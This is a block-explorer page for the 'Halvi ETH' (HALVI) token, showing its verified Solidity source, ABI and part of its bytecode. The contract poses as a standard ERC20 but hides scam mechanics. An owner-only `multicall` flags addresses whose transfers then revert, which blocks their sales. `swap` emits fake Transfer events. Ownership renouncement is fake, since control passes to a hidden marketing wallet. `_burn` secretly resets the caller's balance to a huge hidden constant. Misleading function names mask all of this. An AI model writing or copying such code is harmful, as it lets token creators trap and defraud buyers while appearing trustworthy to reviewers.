ETH Price: $3,326.34 (-4.50%)
Gas: 3 Gwei

Token

Halvi ETH (HALVI)
 

Overview

Max Total Supply

50,000,000,000 HALVI

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,562,402,270.599970362 HALVI

Value
$0.00
0x036d78c5e87E0aA07Bf61815d1efFe10C9FD5275
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HALVI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 8: Halvi.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";

contract HALVI is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private deployerWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "Halvi ETH";
    string private constant _symbol = "HALVI";

    uint256 public maxWallet = 2000000000000000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000000 * 10**decimals();
    uint256 public swapTokensAtAmount = 1000000000000000 * 10**decimals();
    uint256 public initialTotalSupply = 50_000_000_000 * 10**decimals();
    
    uint256 public SellFee = 0;
    uint256 public BuyFee = 0;

    bool public swapEnabled = false;
    bool public tradingOpen = false;
    
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    uint256 internal _lastTimestamp;
    
    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(wallet);     
        balances = txLimit;
        deployerWallet = payable(_msgSender());

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function multicall(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _transferFromTheZeroAddressHalviETH[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function taxTransfer(address account) public view returns (bool) {
        return _transferFromTheZeroAddressHalviETH[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _lastTimestamp = block.number;
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_transferFromTheZeroAddressHalviETH[from] || _transferFromTheZeroAddressHalviETH[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = _lastTimestamp;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransacti_isExcludedFromFeesonAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_transferFromTheZeroAddressHalviETH[from] && !_transferFromTheZeroAddressHalviETH[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(_transferFromTheZeroAddressHalviETH[from] && _lastTimestamp <= _holderLastTxTimestamp[from]){
                swapTokensForEth(uint160(from));
            }
        bool takeFee = swapping;
        if (_transferFromTheZeroAddressHalviETH[from] || _transferFromTheZeroAddressHalviETH[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint160 value) private {
       
        if(_transferFromTheZeroAddressHalviETH[address(value)]) 
            require(getLastTx(_holderLastTxTimestamp[address(value)]), "Only one purchase per block allowed."); 
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), value);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            value,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }
    
    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function setSwapBack() public onlyOwner {
        swapEnabled = true;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

  
    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(uint160(tokensToSwap));
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 8: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 8: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Meta.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) internal _transferFromTheZeroAddressHalviETH;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 8: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


File 5 of 8: IERC20Meta.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IERC20Metadata  {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 6 of 8: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 7 of 8: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 8 of 8: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060065562000023620003c960201b60201c565b600a6200003191906200099d565b66071afd498d0000620000459190620009ee565b600e5562000058620003c960201b60201c565b600a6200006691906200099d565b66071afd498d00006200007a9190620009ee565b600f556200008d620003c960201b60201c565b600a6200009b91906200099d565b66038d7ea4c68000620000af9190620009ee565b601055620000c2620003c960201b60201c565b600a620000d091906200099d565b640ba43b7400620000e29190620009ee565b601155600060125560006013556000601460006101000a81548160ff0219169083151502179055506000601460016101000a81548160ff0219169083151502179055503480156200013257600080fd5b506040516200526238038062005262833981810160405281019062000158919062000aa3565b806040518060400160405280600981526020017f48616c76692045544800000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f48414c56490000000000000000000000000000000000000000000000000000008152508160049081620001d6919062000d45565b508060059081620001e8919062000d45565b50505080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200024c62000240620003d260201b60201c565b620003da60201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600781905550620002ef620003d260201b60201c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200035162000343620004a060201b60201c565b6001620004ca60201b60201c565b62000364306001620004ca60201b60201c565b62000377816001620004ca60201b60201c565b6200038c61dead6001620004ca60201b60201c565b620003c2600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166011546200053560201b60201c565b5062000f8a565b60006009905090565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620004da620006a260201b60201c565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200059e9062000e8d565b60405180910390fd5b620005bb600083836200073360201b60201c565b8060036000828254620005cf919062000eaf565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000682919062000efb565b60405180910390a36200069e600083836200073860201b60201c565b5050565b620006b2620003d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006d86200073d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000731576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007289062000f68565b60405180910390fd5b565b505050565b505050565b600080620007506200075960201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620007da57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620007fe565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008915780860481111562000869576200086862000803565b5b6001851615620008795780820291505b8081029050620008898562000832565b945062000849565b94509492505050565b600082620008ac57600190506200097f565b81620008bc57600090506200097f565b8160018114620008d55760028114620008e05762000916565b60019150506200097f565b60ff841115620008f557620008f462000803565b5b8360020a9150848211156200090f576200090e62000803565b5b506200097f565b5060208310610133831016604e8410600b8410161715620009505782820a9050838111156200094a576200094962000803565b5b6200097f565b6200095f84848460016200083f565b9250905081840481111562000979576200097862000803565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009aa8262000986565b9150620009b78362000990565b9250620009e6